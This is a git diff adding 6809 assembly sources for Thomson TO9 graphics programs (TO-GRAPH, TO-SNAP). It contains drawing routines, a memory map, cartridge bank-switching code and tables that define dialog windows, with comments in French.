+       JSR    TRRECT
+
+       LDA    FLGLOU
+       CMPA   #2
+       BNE    RAZLOF    ->
+
+       LDA    $E7C3     restau 1ére page
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000
+       LEAX   40*8*3,X
+       LDB    COLLOU
+       LSRB
+       LEAX   B,X
+       LDA    #BKMANO
+       STA    BANKC
+       LDY    #$A000
+       LDU    #18*8
+RAZLO0 LDA    #9
+RAZLO1 LDB    ,Y+
+       STB    ,X+
+       DECA
+       BNE    RAZLO1    ->
+       LEAX   31,X
+       LEAU   -1,U
+       CMPU   #0
+       BNE    RAZLO0    ->
+
+       LDA    $E7C3     sauver 2éme page
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000
+       LEAX   40*8*3,X
+       LDB    COLLOU
+       LSRB
+       LEAX   B,X
+       LDU    #18*8
+RAZLO2 LDA    #9
+RAZLO3 LDB    ,Y+
+       STB    ,X+
+       DECA
+       BNE    RAZLO3    ->
+       LEAX   31,X
+       LEAU   -1,U
+       CMPU   #0
+       BNE    RAZLO2    ->
+       LDA    #BKTIR
+       STA    BANKC
+
+RAZLOF CLR    FLGLOU
+       LDA    MEMTL,S
+       STA    TLIGN
+       LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P visualise tortue selon tiroir
+*     (tortue std si tiroir vide)
+*=======================================
+
+TORCOL LEAS   -80,S
+DEBTOR SET    0
+*---------------------------------------
+       TST    FLGTIR
+       BNE    TORCO0    ->
+       LDD    #0       tortue std
+       LBRA   TORCOF    ->
+TORCO0 EQU    *
+       LEAX   DEBTOR,S
+       LDD    #$4C31    'L128'
+       STD    ,X++
+       LDD    #$3238
+       STD    ,X++
+       LDA    #$55      'Uxxx'
+       STA    ,X+
+       LDD    <LPTTIR
+       LSRA
+       RORB
+       JSR    DEPTOR
+       LDD    #$5236    'R64Uxxx'
+       STD    ,X++
+       LDD    #$3455
+       STD    ,X++
+       CLRA
+       LDB    <HPTTIR
+       LSRB
+       JSR    BINDCG
+       ABX
+       LDD    #$4C31    'L128'
+       STD    ,X++
+       LDD    #$3238
+       STD    ,X++
+       LDA    #$44      'Dxxx'
+       STA    ,X+
+       CLRA
+       LDB    <HPTTIR
+       DECB
+       JSR    BINDCG
+       ABX
+       LDD    #$4C36    'L64Dxxx'
+       STD    ,X++
+       LDD    #$3444
+       STD    ,X++
+       LDD    <LPTTIR
+       SUBD   #1
+       JSR    DEPTOR
+       LDD    #$4C36    'L64Dxxx'
+       STD    ,X++
+       LDD    #$3444
+       STD    ,X++
+       CLRA
+       LDB    <HPTTIR
+       DECB
+       JSR    BINDCG
+       ABX
+       LDD    #$4C36    'L64Dxxx'
+       STD    ,X++
+       LDD    #$3444
+       STD    ,X++
+       LDD    <LPTTIR
+       SUBD   #1
+       JSR    DEPTOR
+       TFR    X,D
+       LEAX   DEBTOR,S
+       PSHS   X
+       SUBD   ,S++
+       LDA    #1
+
+TORCOF JSR    FENTOR
+       JSR    FENACT
+       LEAS   80,S
+       RTS
+
+
+*=======================================
+* S/P fixe fenêtre graphique sur zone
+*     travail
+*=======================================
+
+TRAMIN PSHS   D
+       LDD    #32
+       STD    XL
+       LDD    #623
+       STD    XR
+       LDD    #8
+       STD    YB
+       LDD    #191
+       STD    YT
+       PULS   D,PC
+
+
+*=======================================
+* S/P fixe fenêtre graphique sur écran
+*     total
+*=======================================
+
+TRAMAX PSHS   D
+       LDD    #0      restaure écr trav
+       STD    XL
+       STD    YB
+       LDD    #639
+       STD    XR
+       LDD    #199
+       STD    YT
+       PULS   D,PC
+
+
+*=======================================
+* S/P tracé d'une ellipse dans les 3
+*     tailles possibles
+* Entrée: X0TIRE coordonnées centre
+*         Y0TIRE
+*         X1TIRE rayons
+*         Y1TIRE
+* Nb: Le mode de dessin doit être
+*     déterminé à l'appel il est remis
+*     en normal après traitement ...
+*     Idem pour FILFLG
+*=======================================
+
+TRELLI PSHS   D,X,Y
+*---------------------------------------
+       JSR    TRAMIN
+
+       LDX    X0TIRE
+       STX    XXXXXX
+       LDA    X1TIRE
+       STA    AXEH
+       LDY    Y0TIRE
+       STY    YYYYYY
+       LDA    Y1TIRE
+       STA    AXEV
+       CLR    CAMFLG
+       LDB    #CIRCLE
+       JSR    EXTRA
+       LDB    TLIGN
+       CMPB   #1
+       BEQ    TRELLF    ->
+       CLR    FILFLG
+       LDA    X1TIRE
+       INCA
+       STA    AXEH
+       LDA    Y1TIRE
+       INCA
+       STA    AXEV
+       LDB    #CIRCLE
+       JSR    EXTRA
+       LDB    TLIGN
+       CMPB   #2
+       BEQ    TRELLF    ->
+       LDA    X1TIRE
+       INCA
+       INCA
+       STA    AXEH
+       LDA    Y1TIRE
+       INCA
+       INCA
+       STA    AXEV
+       LDB    #CIRCLE
+       JSR    EXTRA
+
+TRELLF JSR    TRAMAX
+       JSR    TRNORM
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P tracé d'une droite dans les 3
+*     tailles possibles
+* Entrée: X0TIRE coordonnées
+*         Y0TIRE
+*         X1TIRE
+*         Y1TIRE
+* Nb: Le mode de dessin doit être
+*     déterminé à l'appel il est remis
+*     en normal après traitement ...
+*=======================================
+
+TPOINT FCB    0,0,0,1,1,1,1,0,1,-1,0,-1
+       FCB    -1,-1,-1,0,-1,1
+TPTV   FCB    0,0,0,1,0,-1
+TPTH   FCB    0,0,1,0,-1,0
+*---------------------------------------
+TRLIGN PSHS   D,X,Y,U
+       LEAS   -5,S
+NBPTS  SET    0
+DELTAX SET    1
+DELTAY SET    3
+*---------------------------------------
+       JSR    TRAMIN
+
+       LDA    TLIGN     calcul nb points
+       TFR    A,B       pour un pavé
+       MUL
+       STB    NBPTS,S
+       LEAU   TPOINT,PCR
+       LDD    X0TIRE
+       CMPD   X1TIRE
+       BNE    LTRLI0    ->
+       LDD    Y0TIRE
+       CMPD   Y1TIRE
+       BNE    LTRLI0    ->
+       LBRA   BTRLI0    pavé ->
+
+LTRLI0 LDA    TLIGN     cas des tracés
+       STA    NBPTS,S
+       LDD    X1TIRE
+       SUBD   X0TIRE
+       BGE    LTRLI1    ->
+       LDD    X0TIRE
+       SUBD   X1TIRE
+LTRLI1 STD    DELTAX,S
+       LDD    Y1TIRE
+       SUBD   Y0TIRE
+       BGE    LTRLI2    ->
+       LDD    Y0TIRE
+       SUBD   Y1TIRE
+LTRLI2 STD    DELTAY,S
+       CMPD   DELTAX,S
+       BGE    LTRLIH    ->
+       LEAU   TPTV,PCR  pts verticaux
+       BRA    BTRLI0    ->
+LTRLIH LEAU   TPTH,PCR  pts horizontaux
+
+BTRLI0 LDX    X0TIRE
+       LDA    ,U
+       LEAX   A,X
+       STX    XXXXXX
+       LDX    X1TIRE
+       LDA    ,U+
+       LEAX   A,X
+       LDY    Y0TIRE
+       LDA    ,U
+       LEAY   A,Y
+       STY    YYYYYY
+       LDY    Y1TIRE
+       LDA    ,U+
+       LEAY   A,Y
+       LDB    #LINE
+       JSR    EXTRA
+
+       DEC    NBPTS,S
+       BNE    BTRLI0    ->
+
+       JSR    TRAMAX
+       JSR    TRNORM
+       LEAS   5,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P tracé d'un rectangle dans les 3
+*     tailles possibles
+* Entrée: X0TIRE coordonnées début
+*         Y0TIRE
+*         X1TIRE coordonnées fin
+*         Y1TIRE
+* Nb: Le mode de dessin doit être
+*     déterminé à l'appel il est remis
+*     en normal après traitement ...
+*     Idem pour FILFLG
+*=======================================
+
+TRRECT PSHS   D,X,Y,U
+       LEAS   -8,S
+X0LOC  SET    0
+Y0LOC  SET    2
+X1LOC  SET    4
+Y1LOC  SET    6
+*---------------------------------------
+       JSR    TRAMIN
+
+       LDD    X0TIRE    Mettre les coor.
+       LDX    X1TIRE    au mieux !!!
+       CMPD   X1TIRE
+       BCS    RGPLG0    ->
+       EXG    D,X
+RGPLG0 STD    X0LOC,S
+       STX    X1LOC,S
+
+       LDD    Y0TIRE
+       LDX    Y1TIRE
+       CMPD   Y1TIRE
+       BCS    RGPLG1    ->
+       EXG    D,X
+RGPLG1 STD    Y0LOC,S
+       STX    Y1LOC,S
+
+       LEAU   X0LOC,S
+       BSR    TRBOX
+
+       LDB    TLIGN
+       CMPB   #1
+       BEQ    TRRECF    ->
+       CLR    FILFLG
+       LDD    X0LOC,S
+       SUBD   #1
+       STD    X0LOC,S
+       LDD    Y0LOC,S
+       SUBD   #1
+       STD    Y0LOC,S
+       LDD    X1LOC,S
+       ADDD   #1
+       STD    X1LOC,S
+       LDD    Y1LOC,S
+       ADDD   #1
+       STD    Y1LOC,S
+       BSR    TRBOX
+
+       LDB    TLIGN
+       CMPB   #2
+       BEQ    TRRECF    ->
+       LDD    X0LOC,S
+       SUBD   #1
+       STD    X0LOC,S
+       LDD    Y0LOC,S
+       SUBD   #1
+       STD    Y0LOC,S
+       LDD    X1LOC,S
+       ADDD   #1
+       STD    X1LOC,S
+       LDD    Y1LOC,S
+       ADDD   #1
+       STD    Y1LOC,S
+       BSR    TRBOX
+
+TRRECF JSR    TRAMAX
+       JSR    TRNORM
+       LEAS   8,S
+       PULS   D,X,Y,U,PC ->>
+*---------------------------------------
+
+TRBOX  LDX    X0LOC,U
+       STX    XXXXXX
+       LDX    X1LOC,U
+       LDY    Y0LOC,U
+       STY    YYYYYY
+       LDY    Y1LOC,U
+       LDB    #BOX
+       JSR    EXTRA
+       RTS
+
+
+*=======================================
+* S/P sélection du mode de tracé
+*=======================================
+
+TRNORM PSHS   D       # normal
+       CLRA
+       BRA    TRCHOI    ->
+TRTRAN PSHS   D       # transparent
+       LDA    #1
+       BRA    TRCHOI    ->
+TRINV  PSHS   D       # inversion
+       LDA    #2
+       BRA    TRCHOI    ->
+TRRAZ  PSHS   D       # tracé en 0
+       CLRA
+       STA    TRATYP
+       LDA    #-1
+       STA    COULGR
+       BRA    XTR0      ->
+TRCHOI STA    TRATYP
+       CLR    COULGR
+XTR0   LDB    #CHOIX
+       JSR    EXTRA
+       PULS   D,PC
+
+
+*=======================================
+* S/P détermination des variables de
+*     tracé pour les remplissages
+*=======================================
+
+TRREMP JSR    TRNORM
+       JSR    TRAMIN
+       CLR    FILFLG
+       LDB    #$12      rempli ?
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #OFF
+       BEQ    TRREM0    ->
+       COM    FILFLG
+       LDD    #MOTIF
+       STD    MACP
+       LDB    #$13      transparent ?
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #OFF
+       BEQ    TRREM0    ->
+       JSR    TRTRAN
+TRREM0 RTS
+
+
+*=======================================
+* S/P visualisation temporaire de la
+*     loupe sous forme d'une boite en
+*     taille 3 selon les coord.
+*            (REGX/REGY)
+*     Si FLGLOU = 0 on suppose 1er passe
+*=======================================
+
+VISLOU LEAS   -1,S
+MEMTL  SET    0
+*---------------------------------------
+       JSR    FENDES
+       JSR    TRINV
+       LDA    TLIGN
+       STA    MEMTL,S
+       LDA    #2
+       STA    TLIGN
+       TST    FLGLOU
+       BEQ    NOUVL0    ->
+       JSR    TRINV
+       CLR    FILFLG
+       JSR    TRRECT
+
+NOUVL0 LDA    #1
+       STA    FLGLOU
+       LDD    REGY
+       CMPD   #24
+       BGT    NOUVL1    ->
+       LDD    #7
+       BRA    NOUVL5    ->
+NOUVL1 CMPD   #176
+       BLT    NOUVL2    ->
+       LDD    #159
+       BRA    NOUVL5    ->
+NOUVL2 SUBD   #17
+
+NOUVL5 STD    Y0TIRE
+       ADDD   #33
+       STD    Y1TIRE
+
+       LDD    REGX
+       CMPD   #48
+       BGT    NOUVL6    ->
+       LDD    #31
+       BRA    NOUVL9    ->
+NOUVL6 CMPD   #608
+       BLT    NOUVL7    ->
+       LDD    #591
+       BRA    NOUVL9    ->
+NOUVL7 SUBD   #17
+
+NOUVL9 STD    X0TIRE
+       ADDD   #33
+       STD    X1TIRE
+
+       JSR    TRINV
+       CLR    FILFLG
+       JSR    TRRECT
+
+       JSR    FENACT
+       LDA    MEMTL,S
+       STA    TLIGN
+       LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P visualisation temporaire du
+*     tiroir en la position souris
+*     courante (REGX/REGY)
+*     Maintient jusqu'à:
+*        - déplacement souris
+*        - clic gauche
+*        - fin clic droit
+*=======================================
+
+TMPTIR EQU    *
+*---------------------------------------
+       JSR    FENDES
+       TST    FLGTIR
+       BNE    VISTI0    ok ->
+       LDX    #MTIRVI
+       JSR    FENERR
+       LBRA   VISTIF    ->
+
+VISTI0 JSR    INVTIR    visu. tempor.
+VISTI1 JSR    GETL
+       BCS    VISTI1    ->
+       CMPX   REGX
+       BNE    VISTI9    déplac. ->
+       CMPY   REGY
+       BNE    VISTI9    déplac. ->
+       JSR    LPIN
+       BCS    VISTI9    clic gauche ->
+       BNE    VISTI9    fin .. droit->
+       BRA    VISTI1    ->
+VISTI9 JSR    INVTIR    fin visu. temp.
+
+VISTIF JSR    FENACT
+       RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM
new file mode 100755
index 0000000..57f9b36
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM
@@ -0,0 +1,207 @@
+       TITLE  TO-GRAPH:
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*        GESTION TO9 GRAPHIQUE         *
+*                                      *
+****************************************
+*                                      *
+* Sources:                             *
+*                                      *
+*   FEN-EQU .ASM Equates du fenêtrage  *
+*   GRAPH-EQ.ASM Equates               *
+*   GRAPH-CN.ASM Constantes            *
+*   GRAPH-MN.ASM Gestion menus déroul  *
+*   GRAPH-F .ASM Gestion feuille       *
+*   GRAPH-X1.ASM Traitements graphiques*
+*   GRAPH-X2.ASM ... outillage de base *
+*   GRAPH-IP.ASM ... cadrage+impression*
+*   GRAPH-PR.ASM Programme principal   *
+*   GRAPH   .ASM Structure             *
+*                                      *
+****************************************
+*                                      *
+* Exécutable destiné à être chargé en  *
+* aplication avec le module de         *
+* fenêtrage FEN.BIN                    *
+*                                      *
+****************************************
+*                                      *
+*  Carte mémoire:                      *
+*                                      *
+** Banks RAM cartouche                 *
+*                                      *
+* No 1   : Soft, constantes et données *
+*          pseudo statique (motifs...) *
+* No 2   : En $1800, S/P de fenêtrage  *
+*          En $20, S/P de recopie des  *
+*          S/P FEN vers $7800          *
+*                                      *
+** Banks données :                     *
+*                                      *
+* bank 2 : Tiroir                      *
+* bank 3                               *
+*   .. 6 : Pile des fenêtres           *
+*          Nb: le bank 6 sert également*
+*              de zone de manoeuvre    *
+*               (codage décodage d'    *
+*               image, remplissage,    *
+*               gestion fichier ...    *
+* bank 7                               *
+*   .. 12: Feuille de travail          *
+* bank 13                              *
+*   ...  : Albums (max. 16)            *
+*                                      *
+** RAM "en ligne"                      *
+*                                      *
+* $0000..$3FFF: Soft, constantes et    *
+*               données pseudo stati-  *
+*               ques (cartouche)       *
+* $6000..$62FF: RAM moniteur/extramon  *
+* $6300..$67FF: Pile (#1ko)            *
+* $6800..$6FFF: RAM soft (2ko)         *
+* $7000..$77FF: Zones DOS 5 dsk 2fic.  *
+* $7800..$9FFF: Copie active des S/P   *
+*               de fenêtrage (10ko)    *
+* $A000..$DFFF: Tiroir                 *
+*                                      *
+****************************************
+*                                      *
+* Production:                          *
+*   Sous 6809-ASM:                     *
+*     - L GRAPH                        *
+*     - A GRAPH/NL/NS assemblage sans  *
+*                     liste            *
+*   Sous CR-APPLI:                     *
+*                                      *
+*     - Charger GRAPH.BIN (base $0000) *
+*     - Charger FEN.BIN   (base $5800) *
+*     - Créer TO-GRAPH.CHG sur 2 banks *
+*                                      *
+****************************************
+
+
+BASEF  EQU    $7800    implant. soft
+*                      fenêtrage !!!
+
+       INCLUD FEN-EQU  équates FEN
+
+       INCLUD GRAPH-EQ
+
+       SETDP  MANTIR/256
+
+*************** bank 1 *****************
+
+       ORG    $22
+
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*---------------------------------------
+
+L0022  INC    $E7E6     en fait sur BK2!
+       LDX    #$1800
+       LDY    #$7800
+BCPIF1 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000
+       BNE    BCPIF1    ->
+       DEC    $E7E6
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC    $E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    $E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+       DEC    $E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    $E7E6
+       PULS   CC
+       RTS
+
+****************************************
+
+       INCLUD GRAPH-CN
+
+       INCLUD GRAPH-MN
+
+       INCLUD GRAPH-F
+
+       INCLUD GRAPH-X1
+
+       INCLUD GRAPH-X2
+
+       INCLUD GRAPH-IP
+
+       INCLUD GRAPH-PR
+
+
+*************** bank 2 *****************
+
+       ORG    $4022
+
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*---------------------------------------
+
+       INC    $E7E6
+       LDX    #$1800
+       LDY    #$7800
+BCPIF2 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000
+       BNE    BCPIF2    ->
+       DEC    $E7E6
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+       INC    $E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    $E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC    $E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    $E7E6
+       PULS   CC
+       RTS
+
+* S/P de la cartouche no 2
+*---------------------------------------
+
+       INCLUD GRAPH-C1 version ok
+
+*      INCLUD GRAPH-D1 version démo
+
+       INCLUD GRAPH-C2
+
+       END
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM
new file mode 100755
index 0000000..b908fe9
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM
@@ -0,0 +1,1031 @@
+       TITLE  TO-GRAPH: constantes
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           constantes                 *
+*                                      *
+****************************************
+
+****************************************
+*           F E N E T R E S            *
+****************************************
+
+* Fenêtre principale
+*---------------------------------------
+
+FENVID FCB    FSTOP
+
+MIGDIN FCB    ABS
+       FCB    LFCUR
+       FDB    9*8,19*8+4
+       FCB    ROND,12,12
+       FCB    REL
+       FCB    FCUR,-2,-12
+       FCB    BOITE,4,3
+       FCB    FCUR,6,7
+       FCB    ROND,2,2
+       FCB    FCUR,-16,0
+       FCB    ROND,2,2
+       FCB    FCUR,0,6
+       FCB    ROND,2,2
+       FCB    FCUR,16,0
+       FCB    ROND,2,2
+       FCB    FCUR,-8,4
+       FCB    ROND,2,2
+       FCB    STOP
+FMIGDI EQU    *
+
+FENHLP FCB    FLOCF,0,0,25,40
+       FCB    FCOULF,VERTCL
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,1,38
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FEDI,ESC,$4E
+       FCC    \MODED'EMPLOI\
+       FCB    ESC,$4C,0
+       FCB    FCOULF,TRANSP
+       FCB    FLOCF,3,1,19,38
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,23,1,1,26
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FTEXTE
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCR,0,5,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCR,0,18,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FLOCF,23,29,1,4
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FEDI,HT,ESC,$4E,SS2,$2D
+       FCB    ESC,$4C,0
+       FCB    FPOUSS,VT,OFF
+       FCB    FLOCF,23,35,1,4
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FEDI,HT,ESC,$4E,SS2,$2F
+       FCB    ESC,$4C,0
+       FCB    FPOUSS,LF,OFF
+       FCB    FSTOP
+
+FENLAN FCB    FLOCF,0,0,17,29
+       FCB    FCOULF,VERTCL
+       FCB    FTRAME,FTOURI
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,1,27
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FEDI,$20,$1B,$4E
+       FCC    \LANCEMENT\
+       FCB    $1B,$4C,0
+
+       FCB    FLOCF,3,1,13,27
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,4,2,1,25
+       FCB    FPOUSS,$90,OFF
+
+       FCB    FLOCF,5,2,1,25
+       FCB    FPOUSS,$91,OFF
+
+       FCB    FLOCF,6,2,1,25
+       FCB    FPOUSS,$92,OFF
+
+       FCB    FLOCF,7,2,1,25
+       FCB    FPOUSS,$93,OFF
+
+       FCB    FLOCF,8,2,1,25
+       FCB    FPOUSS,$94,OFF
+
+       FCB    FLOCF,10,2,1,25
+       FCB    FEDI
+       FCC    \Bootdisquette\
+       FCB    0
+       FCB    FPOUSS,$95,OFF
+
+       FCB    FLOCF,12,3,1,25
+       FCB    FTEXTE,BALISE
+       FCC    \Auto\
+       FCC    \(oct.)\
+       FCB    0
+       FCB    FLOCR,0,0,1,1
+       FCB    FINV,$01,OFF
+       FCB    FLOCR,0,16,1,2
+       FCB    FPOUSS,254,INTERD
+
+       FCB    FLOCF,14,3,1,16
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,$53,OFF
+
+       FCB    FLOCR,0,17,1,2
+       FCB    FEDI
+       FCC    \en\
+       FCB    0
+
+       FCB    FLOCR,0,3,1,4
+       FCB    FTOURE,FCADRE
+       FCB    FCZI,255,HEXA
+
+       FCB    FSTOP
+
+FENINF FCB    FLOCF,0,0,16,23
+       FCB    FCOULF,VERTCL
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,1,21
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FEDI,$1B,$4E
+       FCC    \INFO\
+       FCB    $1B,$4C,0
+
+       FCB    FLOCF,3,1,10,21
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,4,1,1,21
+       FCB    FEDI
+       FCC    \TourPaletteBVR\
+       FCB    0
+
+       FCB    FLOCF,6,2,4,2
+       FCB    FCOULF,PARME
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FPOUSS,$58,INTERD
+
+       FCB    FLOCF,6,5,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,$2B,$2D,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$54,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$55,OFF
+
+       FCB    FLOCF,9,5,1,2
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,$59,INTERD
+
+       FCB    FLOCF,6,9,4,2
+       FCB    FCOULF,ORANGE
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+
+       FCB    FLOCF,6,12,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,$2B,$2D,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$50,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$51,OFF
+
+       FCB    FLOCF,9,12,1,2
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,$5A,INTERD
+
+       FCB    FLOCF,6,16,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,$2B,$2D,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$42,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$43,OFF
+
+       FCB    FLOCF,6,18,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,$2B,$2D,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$56,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$57,OFF
+
+       FCB    FLOCF,6,20,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,$2B,$2D,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$52,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,$53,OFF
+
+       FCB    FLOCF,9,16,1,5
+       FCB    FTOURE,FCADRE
+       FCB    FEDI
+       FCC    \--\
+       FCB    0
+       FCB    FPOUSS,$48,INTERD
+
+       FCB    FLOCF,11,2,1,4
+       FCB    FEDI
+       FCC    \Mode\
+       FCB    0
+       FCB    FLOCR,0,5,1,14
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,$4D,OFF
+
+       FCB    FLOCF,14,1,1,21
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FTEXTE
+       FCC    \Ok\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCR,0,5,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCR,0,13,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+FFPEL  FCB    FLOCF,0,0,23,22
+       FCB    FCOULF,VERTCL
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+
+       FCB    FLOCF,1,1,1,2
+       FCB    FEDI,HT,$30,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,HT,$32,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,HT,$34,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,HT,$36,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,HT,$38,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$31,$30,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$31,$32,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$31,$34,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$31,$36,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$31,$38,0
+       FCB    FLOCR,2,0,1,2
+       FCB    FEDI,$32,$30,0
+
+       FCB    FLOCF,1,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,200,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,201,OFF
+
+       FCB    FLOCF,3,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,202,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,203,OFF
+
+       FCB    FLOCF,5,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,204,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,205,OFF
+
+       FCB    FLOCF,7,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,206,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,207,OFF
+
+       FCB    FLOCF,9,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,208,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,209,OFF
+
+       FCB    FLOCF,11,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,210,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,211,OFF
+
+       FCB    FLOCF,13,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,212,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,213,OFF
+
+       FCB    FLOCF,15,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,214,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,215,OFF
+
+       FCB    FLOCF,17,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,216,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,217,OFF
+
+       FCB    FLOCF,19,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,218,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,219,OFF
+
+       FCB    FLOCF,21,4,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,220,OFF
+       FCB    FLOCR,0,9,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FINV,221,OFF
+
+       FCB    FLOCF,10,23,11,15
+       FCB    FCOULF,VERTCL
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+
+       FCB    FLOCR,1,1,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,$56,OFF
+       FCB    FEDI,HT,HT
+       FCC    \Voir\
+       FCB    0
+       FCB    FLOCR,2,0,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FINV,$45,OFF
+       FCB    FEDI,HT,HT
+       FCC    \Echanger\
